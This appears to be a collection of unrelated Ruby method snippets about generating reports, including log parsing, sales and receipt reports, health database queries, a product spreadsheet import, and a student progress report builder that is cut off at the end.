"def create_global_report \n @data = return_lines\n @data.each do |x,y|\n timestamp = y.string_between_markers(\"\",\"[[ACTIVE]\")\n user = y.string_between_markers(\"U:\",\"A:\")\n uri = y.string_between_markers(\"URI=[\",\"]\")\n method = y.string_between_markers(\"],\",\"time\")\n time = y.string_between_markers(\"time=\",\"ms\")\n # eliminates invalid entries\n if !timestamp.nil? && !user.nil? && !uri.nil? && !method.nil? && !time.nil?\n $all_user_data[$packet_count][:timestamp] = timestamp.strip unless timestamp.strip.empty? \n $all_user_data[$packet_count][:user] = user.strip unless user.strip.empty? \n $all_user_data[$packet_count][:uri] = uri.strip unless uri.strip.empty? \n $all_user_data[$packet_count][:method] = method.gsub(/,/,'').strip unless method.strip.empty? \n $all_user_data[$packet_count][:time] = time.strip unless time.strip.empty?\n # extracts hour data\n time_t = $all_user_data[$packet_count][:timestamp].split(\" \")\n time_t_2 = time_t[1].split(\":\")\n $all_user_data[$packet_count][:th_hour] = time_t_2[0].to_i + 1\n $packet_count += 1\n end \n end \n #pp $all_user_data \n end",
"def index\n @question_reports = QuestionReport.all\n end",
"def print_final_report\n puts; puts; puts \"=== FINAL DATABASE COUNTS ===\"\n puts; puts end_of_task_report\n puts; puts; puts \"=== BY SCHOOL ===\"\n puts by_school_report\n puts; AssessmentsReport.new.print_report\n end",
"def reports(wspace=framework.db.workspace)\n ::ApplicationRecord.connection_pool.with_connection {\n wspace.reports\n }\n end",
"def index\n \n unless params[:promotionize]\n @report_fields = @report_setup.report_fields.sort{|x, y| x.display_name <=> y.display_name}\n else\n fields = @report_setup.fields\n\n fields = @report_setup.add_one_to_many_fields(fields, @promotion)\n fields = @report_setup.add_eval_questions(fields, @promotion)\n fields = @report_setup.add_other_promotion_specific_fields(fields, @promotion)\n # see lib/behaviors_for_reports.rb\n fields = BehaviorsForReports.add_behavior_fields(fields,@promotion)\n\n # @report_fields = @report_fields.values\n @report_fields = []\n fields.each do |id, field|\n if field[:visible]\n field[:id] = id\n @report_fields << field\n end\n end\n\n end\n\n return HESResponder({:data => @report_fields.as_json, :meta => nil})\n end",
"def set_report\n #@report = Report.find(params[:id])\n end",
"def insert_general_sections(report)\n report.add_field(:client, 'mg')\n report.add_field(:project, 'pcv')\n report.add_field(:section, 'dev1')\n report.add_field(:name, person.name)\n report.add_field(:title_function, person.role)\n\n report.add_field(:header_info, \"#{person.name} - Version 1.0\")\n\n report.add_field(:date, Time.zone.today.strftime('%d.%m.%Y'))\n report.add_field(:version, '1.0')\n report.add_field(:comment, 'Aktuelle Ausgabe')\n end",
"def build_report\n klass = model_class.constantize\n @cols = klass.columns.map { |c| c.name.to_sym }\n @assocs = klass.reflect_on_all_associations\n\n through = @assocs.each_with_object({}) { |x, hsh| hsh[x.options[:through]] = 1 }\n # through={} ; @assocs.each { |x| through[x.options[:through]] = 1 }\n @assocs = @assocs.select { |x| !through[x.name] }\n @tire_saved = klass.tire.mapping.keys\n end",
"def index\n @journal_doc_reports = JournalDocReport.all\n end",
"def create_report\n\n # 1. Write report headers (title and section)\n wrt_rpt_hdr\n wrt_rpt_hdr(:product)\n \n # Array used to hold required brand info for each item.\n brands = []\n\n $products_hash[\"items\"].each do |product|\n\n # 2. Write product name to file\n wrt_prod_nam(product[\"title\"])\n\n separator\n\n # 2a. Write retail price\n wrt_retail_prc(product[\"full-price\"], format: 6)\n\n # 2b. Write total purchases\n wrt_total_purchs(product[\"purchases\"].length, format: 3)\n\n # 2c. Write total sales\n total_sales = wrt_total_sales(product[\"purchases\"], format: 7)\n\n # 2d. Write average price\n avg_prc = wrt_avg_prc(total_sales, product[\"purchases\"].length, format: 5, precision: 2)\n\n # 2e. Write average discount\n wrt_avg_disc(avg_prc, product[\"full-price\"], format: 6, precision: 2)\n\n separator\n\n $report_file.puts\n\n # 3. Add new brand to brands array\n add_new_brand(brands, product_brand: product[\"brand\"])\n\n add_brand_info(brands, product[\"brand\"], product[\"stock\"], product[\"full-price\"], total_sales)\n\n end\n\n # 4. Write brand header\n wrt_rpt_hdr(:brand)\n\n separator(29)\n\n # 5. Write brand info\n wrt_brand_info(brands, true, true, true, true, stk_format: 7, brand_avg_prc_format: 2, brand_tot_sales_format: 12)\n\n\n $report_file.close\n \n #prnt_file\nend",
"def update_report\n prepare_params\n end",
"def prepare_report_detail()\n Ruport::Data::Table.new( :column_names => self.class.report_detail_symbols() ) { |t|\n t << self.to_a_s( self.class.report_detail_symbols(), CONVERTED_FLOAT2STRING_FIXED_PRECISION, 8 )\n percentage_amount = 0.0\n if self.patient && self.patient.is_a_firm? && self.patient.is_fiscal?\n account_percent = AppParameterCustomizations.get_receipt_account_percent()\n percentage_amount = self.account_percentage_amount( account_percent )\n t << ['',\n I18n.t(:vat_withholding),\n \"#{Format.float_value( account_percent, 0, CONVERTED_PERCENT2STRING_FIXED_LENGTH )} %\",\n Format.float_value( percentage_amount, 2, CONVERTED_FLOAT2STRING_FIXED_LENGTH )\n ]\n end\n costs = self.get_additional_cost_totals()\n total_amount = (self.net_price() + percentage_amount + costs[:positive] - costs[:negative])\n t << ['',\n '',\n \"<i>#{I18n.t(:to_be_payed, {:scope=>[:receipt]})}:</i>\",\n \"<b>#{Format.float_value( total_amount, 2, CONVERTED_FLOAT2STRING_FIXED_LENGTH )}</b>\"\n ]\n }\n end",
"def define_vars(db)\n$ailments = db.execute(\"SELECT * FROM ailments\")\n\n$health = db.execute(\"SELECT health.id, health.dt, health.phys_stat, health.ment_stat, health.steps, health.ailment_cmt, ailments.ailment FROM ailments JOIN health on ailments.id = health.ailment ORDER BY HEALTH.ID DESC\")\n\n$weeks_health = db.execute(\"SELECT health.id, health.dt, health.phys_stat, health.ment_stat, health.steps, health.ailment_cmt, ailments.ailment FROM ailments JOIN health on ailments.id = health.ailment ORDER BY HEALTH.ID DESC LIMIT 7\")\n\n$months_health = db.execute(\"SELECT health.id, health.dt, health.phys_stat, health.ment_stat, health.steps, health.ailment_cmt, ailments.ailment FROM ailments JOIN health on ailments.id = health.ailment ORDER BY HEALTH.ID DESC LIMIT 30\")\nend",
"def daily_report( report, ignored = nil )\n @range.each do | day |\n add_column( day..day )\n end\n end",
"def index\n @all_reports = AllReport.all\n\n @lead_positive = LeadReport.all \n @lead_negative = LeadReportNeg.all \n end",
"def build_report(report)\n current_date = 'today'\n report_settings_tab.click unless report_settings_tab[:class]== 'selected'\n wait_until{report_name_tb.visible?}\n case report\n when Bus::DataObj::BillingSummaryReport\n report_name_tb.type_text(report.name)\n frequency_select.select(report.frequency)\n set_report_start_date(report.start_date)\n is_active_cb.uncheck unless report.is_active\n when Bus::DataObj::BillingDetailReport\n report_name_tb.type_text(report.name)\n frequency_select.select(report.frequency)\n set_report_start_date(report.start_date)\n is_active_cb.uncheck unless report.is_active\n else\n report_name_tb.type_text(report.name)\n if report.type == 'Resources Added'\n # get current date from range end checkbox for the Date Applied in the report\n str_arr = range_end_checkbox[:onclick].scan(/'\\d+'/)\n current_date = 'yesterday' unless str_arr[2].match(/\\d+/)[0] == Time.now.day.to_s\n range_start_checkbox.check\n range_end_checkbox.check\n else\n frequency_select.select(report.frequency)\n set_report_start_date(report.start_date) unless report.start_date.nil?\n is_active_cb.uncheck unless report.is_active\n end\n\n if report.type == \"Machine Over Quota\"\n quota_percentage_input.type_text(report.threshold) unless report.threshold.nil?\n end\n end\n set_email_recipients(report.recipients) unless report.recipients.nil?\n save_btn.click\n current_date\n end",
"def index\n\n\t\t\n\n\n\t\t$beginning = Time.now\n\n \n\t\t# Load the source Excel file, with all the special products info\n\t\t$source = Excel.new(\"Template_2013_05_10/source.xls\")\n\t\t#$source = Csv.new(\"Template_2013_05_10/source.csv\")\n\t\t$source.default_sheet = $source.sheets.first\n\t\t\n\t\t# Load the Magento template, which is in Open Office format\n\t\t#template = Openoffice.new(\"http://beta.topart.com/csv/Template_2012_11_28/template.ods\")\n\t\t#template = Csv.new(\"Template_2013_05_10/template.csv\")\n\t\tglobal_template = Openoffice.new(\"Template_2013_05_10/template.ods\")\n\t\tglobal_template.default_sheet = global_template.sheets.first\n\n\t\t# Automatically scan the template column names and store them in an associative array\n\t\t$template_dictionary = Hash.new\n\t\t\"A\".upto(\"GC\") do |alphabet_character|\n\t\t\tcell_content = \"#{global_template.cell(1, alphabet_character)}\"\n\t\t\t$template_dictionary[cell_content] = alphabet_character\n\t\tend\n\n\t\t#global_template = nil\n\n\t\tp \"Template headers loaded.\"\n\n\t\t# Automatically scan the source column names and store them in an associative array\n\t\t$source_dictionary = Hash.new\n\t\t\"A\".upto(\"BU\") do |alphabet_character|\n\t\t\tcell_content = \"#{$source.cell(1, alphabet_character)}\"\n\t\t\t$source_dictionary[cell_content] = alphabet_character\n\t\tend\n\n\t\tp \"Source headers loaded.\"\n\n\t\t# Load the retail_material_size spreadsheet file for paper\n\t\t$retail_photo_paper = Excel.new(\"Template_2013_05_10/retail_master.xls\")\n\t\t$retail_photo_paper.default_sheet = $retail_photo_paper.sheets[0]\n\n\t\t# Load the retail_material_size spreadsheet file for canvas\n\t\t$retail_canvas = Excel.new(\"Template_2013_05_10/retail_master.xls\")\n\t\t$retail_canvas.default_sheet = $retail_canvas.sheets[2]\n\n\t\t# Load the retail_framing spreadsheet file to extract framing, stretching and matting information\n\t\tretail_framing = Excel.new(\"Template_2013_05_10/retail_master.xls\")\n\t\tretail_framing.default_sheet = retail_framing.sheets[3]\n\n\n\t\t# MATERIAL -> PAPER\n\t\t# Automatically scan the source column names and store them in an associative array\n\t\t$retail_photo_paper_dictionary = Hash.new\n\t\t\"A\".upto(\"T\") do |alphabet_character|\n\t\t\tcell_content = \"#{$retail_photo_paper.cell(1, alphabet_character)}\"\n\t\t\t$retail_photo_paper_dictionary[cell_content] = alphabet_character\n\t\tend\n\n\t\tp \"Retail photo paper headers correctly loaded.\"\n\n\t\t# MATERIAL -> CANVAS\n\t\t# Automatically scan the source column names and store them in an associative array\n\t\t$retail_canvas_dictionary = Hash.new\n\t\t\"A\".upto(\"AR\") do |alphabet_character|\n\t\t\tcell_content = \"#{$retail_canvas.cell(1, alphabet_character)}\"\n\t\t\t$retail_canvas_dictionary[cell_content] = alphabet_character\n\t\tend\n\n\t\tp \"Retail canvas headers correctly loaded.\"\n\n\t\t$retail_framing_dictionary = Hash.new\n\t\t\"A\".upto(\"R\") do |alphabet_character|\n\t\t\tcell_content = \"#{retail_framing.cell(1, alphabet_character)}\"\n\t\t\t$retail_framing_dictionary[cell_content] = alphabet_character\n\t\tend\n\n\n\t\t# FRAMING, STRETCHING, MATTING\n\t\t# Automatically scan the source column names and store them in an associative array\n\t\t# Declare and fill the retail framing table\n\t\t$retail_framing_table = Array.new(retail_framing.last_row, 18)\n\t\ti = 0\n\n\t\t# Scan all the source rows and process the F21066 items only, and only once at the beginning for efficiency\n\t\t2.upto($source.last_row) do |source_line|\n\n\t\t\tprimary_vendor_no = \"#{$source.cell(source_line, $source_dictionary[\"PrimaryVendorNo\"])}\"\n\n\t\t\tif primary_vendor_no == \"F21066\" or primary_vendor_no == \"S73068\"\n\t\t\t\t$retail_framing_table[i] = Hash.new\n\n\t\t\t\t# Store all the MAS specific fields, which means the majority of them\n\t\t\t\t\"A\".upto(\"R\") do |alphabet_character|\n\t\t\t\t\theader = \"#{retail_framing.cell(1, alphabet_character)}\"\n\t\t\t\t\t$retail_framing_table[i][header] = \"#{$source.cell(source_line, $source_dictionary[header])}\"\n\t\t\t\tend\n\n\t\t\t\t# Store the spreadsheet retail prices only\n\t\t\t\t2.upto(retail_framing.last_row) do |k|\n\t\t\t\t\t#$retail_framing_table[i] = Hash.new\n\n\t\t\t\t\t\"C\".upto(\"F\") do |alphabet_character|\n\t\t\t\t\t\tcell_content = \"#{retail_framing.cell(1, alphabet_character)}\"\n\n\t\t\t\t\t\tif $retail_framing_table[i][\"Item Code\"] == \"#{retail_framing.cell(k, $retail_framing_dictionary[\"Item Code\"])}\"\n\t\t\t\t\t\t\t$retail_framing_table[i][cell_content] = \"#{retail_framing.cell(k, alphabet_character)}\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\ti = i + 1\n\n\t\t\tend\n\n\t\tend\n\n\t\tp \"The F21066 items have been correctly loaded.\"\n\n\t\t#written_categories = []\n\t\t$global_alternate_size_array = Array.new\n\n\t\t# Load a hash table with all the item codes from the products spreadsheet. Used to check the presence of DGs and corresponding posters\n\t\t$item_source_line = Hash.new\n\n\t\t#7000.upto($source.last_row) do |source_line|\n\t\t2.upto($source.last_row) do |source_line|\n\t\t\titem_code = \"#{$source.cell(source_line, $source_dictionary[\"Item Code\"])}\"\n\t\t\t$item_source_line[item_code] = source_line\n\t\tend\n\n\t\tp \"All the source lines have been correctly mapped.\"\n\n\t\t# We use the following hash table to track DG products that should contain the additional poster size as a custom option\n\t\t$posters_and_dgs_hash_table = Hash.new\n\t\t$poster_only_hash_table = Hash.new\n\n\t\t$template_counter = 1\n\n\t\t#thread_i = 2\n\t\t#row_range = 50\n\t\t#limit = $source.last_row\n\t\t#limit = 100\n\t\t#thread_pool = Array.new\n\n\t\t#while thread_i < limit\n\t\t#\tthread_pool << Thread.new{parallel_write(thread_i, thread_i + row_range - 1)}\n\t\t#\tthread_i = thread_i + row_range\n\t\t#end\t\n\n\t\t\n\t\t#for thread in thread_pool\n\t\t#\tthread.join\n\t\t#end\n\n\t\t#$global_alternate_size_array << \"XWL4870\"\n\n\n\t\tdef pre_process_alternate_sizes(start, finish)\n\n\t\t\ttemp_i = start\n\t\t\ttemp_x = finish\n\n\t\t\twhile temp_i <= temp_x\n\n\t\t\t\titem_code = \"#{$source.cell(temp_i, $source_dictionary[\"Item Code\"])}\"\n\n\t\t\t\ta = \"#{$source.cell(temp_i, $source_dictionary[\"UDF_ALTS1\"])}\".gsub(' ','')\n\t\t\t\tb = \"#{$source.cell(temp_i, $source_dictionary[\"UDF_ALTS2\"])}\".gsub(' ','')\n\t\t\t\tc = \"#{$source.cell(temp_i, $source_dictionary[\"UDF_ALTS3\"])}\".gsub(' ','')\n\t\t\t\td = \"#{$source.cell(temp_i, $source_dictionary[\"UDF_ALTS4\"])}\".gsub(' ','')\n\t\t\t\t\n\t\t\t\tif !a.blank?\n\t\t\t\t\t\n\t\t\t\t\t$global_alternate_size_array << a\n\t\t\t\tend\n\t\t\t\tif !b.blank?\n\t\t\t\t\n\t\t\t\t\t$global_alternate_size_array << b\n\t\t\t\tend\n\t\t\t\tif !c.blank?\n\t\t\t\t\t\n\t\t\t\t\t$global_alternate_size_array << c\n\t\t\t\tend\n\t\t\t\tif !d.blank?\n\t\t\t\t\t\n\t\t\t\t\t$global_alternate_size_array << d\n\t\t\t\tend\n\n\t\t\t\t# If the current sku is an alternate size of a sku we have already met, then skip it and go to the next item number\n\t\t\t\tif ($global_alternate_size_array.include?(item_code))\n\t\t\t\t\t\n\t\t\t\t\tp item_code + \" already scanned.\"\n\n\t\t\t\t\t$global_alternate_size_array << item_code\n\t\t\t\tend\n\n\t\t\t\ttemp_i = temp_i + 1\n\n\t\t\tend\n\t\tend\n\n\n\t\tpre_process_alternate_sizes(2, 14400)\n\n\t\tt1 = Thread.new{parallel_write(14402, $source.last_row)}\n\t\t#t1 = Thread.new{parallel_write(2, 10)}\n\t\t#t1 = Thread.new{parallel_write(9020, 9030)}\n\t\t#t1 = Thread.new{parallel_write(2, 51)}\n\t\t#t2 = Thread.new{parallel_write(52, 101)}\n\t\t#t3 = Thread.new{parallel_write(102, 151)}\n\t\t#t4 = Thread.new{parallel_write(152, 201)}\n\n\t\tt1.join\n\t\t#t2.join\n\t\t#t3.join\n\t\t#t4.join\n\n\t\tputs \"The overall running time has been #{Time.now - $beginning} seconds.\"\n\n\t\t# Accessing this view launch the service automatically\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\tend\n\n\tend",
"def generate_report(school_year=$config.school_year, reprint = false)\r\n reprints = reprint ? \"/WITH_INTACT_TAGS\" : \"\"\r\n puts \"ENTERED 'generate_report'\"\r\n session_school_year=(school_year)\r\n puts \"1\"\r\n student_first_name = first_name.value\r\n puts \"2\"\r\n student_last_name = self.last_name.value\r\n puts \"3\"\r\n file_path = $config.init_path(\"#{$paths.reports_path}Progress_Reports/School_Year_#{session_school_year}/#{term}_K6_Students#{reprints}\")\r\n puts \"4\"\r\n word_doc_path = \"#{file_path}STUDENT_#{student_id}.docx\"\r\n puts \"5\"\r\n pdf_doc_path = \"#{file_path}#{term}_#{student_last_name}_#{student_first_name}_#{student_id}.pdf\"\r\n puts \"6\"\r\n if File.exists?(pdf_doc_path)\r\n puts \"REPORT PREVIOUSLY GENERATED\"\r\n record = progress_record\r\n record.fields[\"reported_datetime\"].value = $idatetime\r\n record.save\r\n return pdf_doc_path\r\n else\r\n puts \"#{student.student_id} #{DateTime.now.strftime(\"%H:%M\")}\"\r\n teacher = self.teacher.value\r\n #each of these need to be set up to handle different school years\r\n puts \"GETTING PROGRESS DETAILS\"\r\n replace = Hash.new\r\n replace[\"[grade_level]\" ] = grade_level.value \r\n replace[\"[school_year]\" ] = session_school_year\r\n replace[\"[first_name]\" ] = student_first_name\r\n replace[\"[last_name]\" ] = student_last_name\r\n replace[\"[student_id]\" ] = student.student_id\r\n replace[\"[today]\" ] = $iuser\r\n replace[\"[school_enroll_date]\" ] = student.school_enroll_date.value\r\n replace[\"[teacher]\" ] = teacher\r\n replace[\"[a_p_1]\" ] = days_present(\"Q1\" ) || \"\"\r\n replace[\"[a_p_2]\" ] = days_present(\"Q2\" ) || \"\"\r\n replace[\"[a_p_3]\" ] = days_present(\"Q3\" ) || \"\"\r\n replace[\"[a_p_4]\" ] = days_present(\"Q4\" ) || \"\"\r\n replace[\"[a_e_1]\" ] = absences_excused(\"Q1\" ) || \"\"\r\n replace[\"[a_e_2]\" ] = absences_excused(\"Q2\" ) || \"\"\r\n replace[\"[a_e_3]\" ] = absences_excused(\"Q3\" ) || \"\"\r\n replace[\"[a_e_4]\" ] = absences_excused(\"Q4\" ) || \"\"\r\n replace[\"[a_u_1]\" ] = absences_unexcused(\"Q1\" ) || \"\"\r\n replace[\"[a_u_2]\" ] = absences_unexcused(\"Q2\" ) || \"\"\r\n replace[\"[a_u_3]\" ] = absences_unexcused(\"Q3\" ) || \"\"\r\n replace[\"[a_u_4]\" ] = absences_unexcused(\"Q4\" ) || \"\"\r\n replace[\"[math_goals_1]\" ] = math_goals(\"Q1\" ) || \"\"\r\n replace[\"[math_goals_2]\" ] = math_goals(\"Q2\" ) || \"\"\r\n replace[\"[math_goals_3]\" ] = math_goals(\"Q3\" ) || \"\"\r\n replace[\"[math_goals_4]\" ] = math_goals(\"Q4\" ) || \"\"\r\n replace[\"[reading_goals_1]\" ] = reading_goals(\"Q1\" ) || \"\"\r\n replace[\"[reading_goals_2]\" ] = reading_goals(\"Q2\" ) || \"\"\r\n replace[\"[reading_goals_3]\" ] = reading_goals(\"Q3\" ) || \"\"\r\n replace[\"[adequate_1]\" ] = adequate_progress(\"Q1\" ) || \"\"\r\n replace[\"[adequate_2]\" ] = adequate_progress(\"Q2\" ) || \"\"\r\n replace[\"[adequate_3]\" ] = adequate_progress(\"Q3\" ) || \"\"\r\n replace[\"[adequate_4]\" ] = adequate_progress(\"Q4\" ) || \"\"\r\n replace[\"[assessment_1]\" ] = assessment_completion(\"Q1\" ) || \"\"\r\n replace[\"[assessment_2]\" ] = assessment_completion(\"Q2\" ) || \"\"\r\n replace[\"[assessment_3]\" ] = assessment_completion(\"Q3\" ) || \"\"\r\n replace[\"[assessment_4]\" ] = assessment_completion(\"Q4\" ) || \"\"\r\n replace[\"[submission_1]\" ] = work_submission(\"Q1\" ) || \"\"\r\n replace[\"[submission_2]\" ] = work_submission(\"Q2\" ) || \"\"\r\n replace[\"[submission_3]\" ] = work_submission(\"Q3\" ) || \"\"\r\n replace[\"[submission_4]\" ] = work_submission(\"Q4\" ) || \"\"\r\n replace[\"[comments]\" ] = comments || \"\"\r\n \r\n puts \"GETTING COURSE PROGRESS\"\r\n #progress###############################################################\r\n p_h = Hash.new\r\n terms = [\"Q1\",\"Q2\",\"Q3\",\"Q4\"]\r\n i_terms = 0\r\n terms.each{|term|\r\n progress = progress(term)\r\n if progress\r\n progress.each{|p|\r\n #if term_active?(term) && !p.fields[\"course_subject_school\"].value.nil?\r\n subject = p.fields[\"course_subject_school\" ].value\r\n p_h[subject] = {\"Q1\"=>nil,\"Q2\"=>nil,\"Q3\"=>nil,\"Q4\"=>nil} if !p_h.has_key?(subject)\r\n p_h[subject][term] = p.fields[\"progress\"].to_user\r\n #end\r\n }\r\n end\r\n i_terms+=1\r\n }\r\n i=1\r\n p_h.each_pair{|subject,progress|\r\n replace[\"[p#{i}]\"] = subject\r\n terms.each{|term|\r\n replace[\"[p#{i}_#{term}]\"] = progress[term]\r\n }\r\n i+=1\r\n }\r\n i = 1\r\n while i <= 10\r\n replace[\"[p#{i}]\"] = \" \" if !replace.has_key?(\"[p#{i}]\")\r\n terms.each{|term|\r\n replace[\"[p#{i}_#{term}]\"] = \" \" if !replace.has_key?(\"[p#{i}_#{term}]\")\r\n }\r\n i+=1\r\n end\r\n ########################################################################\r\n \r\n #masteries##############################################################\r\n m_hash = {\r\n \"Reading\" => \"rm\",\r\n \"Mathematics\" => \"mm\",\r\n \"Writing\" => \"wm\",\r\n \"History\" => \"hm\",\r\n \"Science\" => \"sm\",\r\n \"Physical Education\" => \"pm\" \r\n }\r\n # mastery_records = masteries_snapshot\r\n ########################################################################\r\n \r\n #reading masteries######################################################\r\n rm_h = Hash.new\r\n terms = [\"Q2\",\"Q4\"]\r\n i_terms = 0\r\n placeholder_term = term\r\n terms.each{|this_term|\r\n term = this_term\r\n results = masteries\r\n if results\r\n results.each{|r|\r\n if term_open? #&& !r.fields[\"mastery_level\"].value.nil?\r\n mastery_id = r.fields[\"mastery_id\" ].value\r\n mastery_section = $tables.attach(\"K6_Mastery_Sections\").by_primary_id(mastery_id)\r\n content_area = mastery_section.fields[\"content_area\"].value\r\n if content_area == \"Reading\"\r\n desc = mastery_section.fields[\"description\" ].value\r\n rm_h[desc] = {\"Q2\"=>nil,\"Q4\"=>nil} if !rm_h.has_key?(desc)\r\n rm_h[desc][term] = r.fields[\"mastery_level\"].value\r\n end\r\n end\r\n }\r\n end\r\n i_terms+=1\r\n }\r\n \r\n i=1\r\n rm_h.each_pair{|k,v|\r\n replace[\"[rm#{i}_d]\"] = k\r\n terms.each{|term|\r\n replace[\"[rm#{i}_#{term}]\"] = v[term]\r\n }\r\n i+=1\r\n }\r\n i = 1\r\n while i <= 15\r\n replace[\"[rm#{i}_d]\"] = \" \" if !replace.has_key?(\"[rm#{i}_d]\")\r\n terms.each{|term|\r\n replace[\"[rm#{i}_#{term}]\"] = \" \" if !replace.has_key?(\"[rm#{i}_#{term}]\")\r\n }\r\n i+=1\r\n end\r\n ########################################################################\r\n \r\n #mathematics masteries######################################################\r\n mm_h = Hash.new\r\n i_terms = 0\r\n placeholder_term = term\r\n terms.each{|this_term|\r\n term = this_term\r\n results = masteries\r\n if results\r\n results.each{|r|\r\n if term_open? #&& !r.fields[\"mastery_level\"].value.nil?\r\n mastery_id = r.fields[\"mastery_id\" ].value\r\n mastery_section = $tables.attach(\"K6_Mastery_Sections\").by_primary_id(mastery_id)\r\n content_area = mastery_section.fields[\"content_area\"].value\r\n if content_area == \"Mathematics\"\r\n desc = mastery_section.fields[\"description\" ].value\r\n mm_h[desc] = {\"Q2\"=>nil,\"Q4\"=>nil} if !mm_h.has_key?(desc)\r\n mm_h[desc][term] = r.fields[\"mastery_level\"].value\r\n end\r\n end\r\n }\r\n end\r\n i_terms+=1\r\n }\r\n i=1\r\n mm_h.each_pair{|k,v|\r\n replace[\"[mm#{i}_d]\"] = k\r\n terms.each{|term|\r\n replace[\"[mm#{i}_#{term}]\"] = v[term]\r\n }\r\n i+=1\r\n }\r\n i = 1\r\n while i <= 20\r\n replace[\"[mm#{i}_d]\"] = \" \" if !replace.has_key?(\"[mm#{i}_d]\")\r\n terms.each{|term|\r\n replace[\"[mm#{i}_#{term}]\"] = \" \" if !replace.has_key?(\"[mm#{i}_#{term}]\")\r\n }\r\n i+=1\r\n end\r\n ########################################################################\r\n \r\n #writing masteries######################################################\r\n wm_h = Hash.new\r\n terms = [\"Q2\",\"Q4\"]\r\n i_terms = 0\r\n placeholder_term = term\r\n terms.each{|this_term|\r\n term = this_term\r\n results = masteries\r\n if results\r\n results.each{|r|\r\n if term_open? #&& !r.fields[\"mastery_level\"].value.nil?\r\n mastery_id = r.fields[\"mastery_id\" ].value\r\n mastery_section = $tables.attach(\"K6_Mastery_Sections\").by_primary_id(mastery_id)\r\n content_area = mastery_section.fields[\"content_area\"].value\r\n if content_area == \"Writing\"\r\n desc = mastery_section.fields[\"description\" ].value\r\n wm_h[desc] = {\"Q2\"=>nil,\"Q4\"=>nil} if !wm_h.has_key?(desc)\r\n wm_h[desc][term] = r.fields[\"mastery_level\"].value\r\n end\r\n end\r\n }\r\n end\r\n i_terms+=1\r\n }\r\n i=1\r\n wm_h.each_pair{|k,v|\r\n replace[\"[wm#{i}_d]\"] = k\r\n terms.each{|term|\r\n replace[\"[wm#{i}_#{term}]\"] = v[term]\r\n }\r\n i+=1\r\n }\r\n i = 1\r\n while i <= 8\r\n replace[\"[wm#{i}_d]\"] = \" \" if !replace.has_key?(\"[wm#{i}_d]\")\r\n terms.each{|term|\r\n replace[\"[wm#{i}_#{term}]\"] = \" \" if !replace.has_key?(\"[wm#{i}_#{term}]\")\r\n }\r\n i+=1\r\n end\r\n ########################################################################\r\n \r\n #history masteries######################################################\r\n hm_h = Hash.new\r\n terms = [\"Q2\",\"Q4\"]\r\n i_terms = 0\r\n placeholder_term = term\r\n terms.each{|this_term|\r\n term = this_term\r\n results = masteries\r\n if results\r\n results.each{|r|\r\n if term_open? #&& !r.fields[\"mastery_level\"].value.nil?\r\n mastery_id = r.fields[\"mastery_id\" ].value\r\n mastery_section = $tables.attach(\"K6_Mastery_Sections\").by_primary_id(mastery_id)\r\n content_area = mastery_section.fields[\"content_area\"].value\r\n if content_area == \"History\"\r\n desc = mastery_section.fields[\"description\" ].value\r\n hm_h[desc] = {\"Q2\"=>nil,\"Q4\"=>nil} if !hm_h.has_key?(desc)\r\n hm_h[desc][term] = r.fields[\"mastery_level\"].value\r\n end\r\n end\r\n }\r\n end\r\n i_terms+=1\r\n }\r\n i=1\r\n hm_h.each_pair{|k,v|\r\n replace[\"[hm#{i}_d]\"] = k\r\n terms.each{|term|\r\n replace[\"[hm#{i}_#{term}]\"] = v[term]\r\n }\r\n i+=1\r\n }\r\n i = 1\r\n while i <= 5\r\n replace[\"[hm#{i}_d]\"] = \" \" if !replace.has_key?(\"[hm#{i}_d]\")\r\n terms.each{|term|\r\n replace[\"[hm#{i}_#{term}]\"] = \" \" if !replace.has_key?(\"[hm#{i}_#{term}]\")\r\n }\r\n i+=1\r\n end\r\n ########################################################################\r\n \r\n #science masteries######################################################\r\n sm_h = Hash.new\r\n terms = [\"Q2\",\"Q4\"]\r\n i_terms = 0\r\n placeholder_term = term\r\n terms.each{|this_term|\r\n term = this_term\r\n results = masteries\r\n if results\r\n results.each{|r|\r\n if term_open? #&& !r.fields[\"mastery_level\"].value.nil?\r\n mastery_id = r.fields[\"mastery_id\" ].value\r\n mastery_section = $tables.attach(\"K6_Mastery_Sections\").by_primary_id(mastery_id)\r\n content_area = mastery_section.fields[\"content_area\"].value\r\n if content_area == \"History\"\r\n desc = mastery_section.fields[\"description\" ].value\r\n sm_h[desc] = {\"Q2\"=>nil,\"Q4\"=>nil} if !sm_h.has_key?(desc)\r\n sm_h[desc][term] = r.fields[\"mastery_level\"].value\r\n end\r\n end\r\n }\r\n end\r\n i_terms+=1\r\n }\r\n i=1\r\n sm_h.each_pair{|k,v|\r\n replace[\"[sm#{i}_d]\"] = k\r\n terms.each{|term|\r\n replace[\"[sm#{i}_#{term}]\"] = v[term]\r\n }\r\n i+=1\r\n }\r\n i = 1\r\n while i <= 1\r\n replace[\"[sm#{i}_d]\"] = \" \" if !replace.has_key?(\"[sm#{i}_d]\")\r\n terms.each{|term|\r\n replace[\"[sm#{i}_#{term}]\"] = \" \" if !replace.has_key?(\"[sm#{i}_#{term}]\")\r\n }\r\n i+=1\r\n end\r\n ########################################################################\r\n \r\n #PE masteries######################################################\r\n pm_h = Hash.new\r\n terms = [\"Q2\",\"Q4\"]\r\n i_terms = 0\r\n placeholder_term = term\r\n terms.each{|this_term|\r\n term = this_term\r\n results = masteries\r\n if results\r\n results.each{|r|\r\n if term_open? #&& !r.fields[\"mastery_level\"].value.nil?\r\n mastery_id = r.fields[\"mastery_id\" ].value\r\n mastery_section = $tables.attach(\"K6_Mastery_Sections\").by_primary_id(mastery_id)\r\n content_area = mastery_section.fields[\"content_area\"].value\r\n if content_area == \"Physical Education\"\r\n desc = mastery_section.fields[\"description\" ].value\r\n pm_h[desc] = {\"Q2\"=>nil,\"Q4\"=>nil} if !pm_h.has_key?(desc)\r\n pm_h[desc][term] = r.fields[\"mastery_level\"].value\r\n end\r\n end\r\n }\r\n end\r\n i_terms+=1\r\n }\r\n i=1\r\n pm_h.each_pair{|k,v|\r\n replace[\"[pm#{i}_d]\"] = k\r\n terms.each{|term|\r\n replace[\"[pm#{i}_#{term}]\"] = v[term]\r\n }\r\n i+=1\r\n }\r\n i = 1\r\n while i <= 1\r\n replace[\"[pm#{i}_d]\"] = \" \" if !replace.has_key?(\"[pm#{i}_d]\")\r\n terms.each{|term|\r\n replace[\"[pm#{i}_#{term}]\"] = \" \" if !replace.has_key?(\"[pm#{i}_#{term}]\")\r\n }\r\n i+=1\r\n end\r\n ##########################################################################\r\n 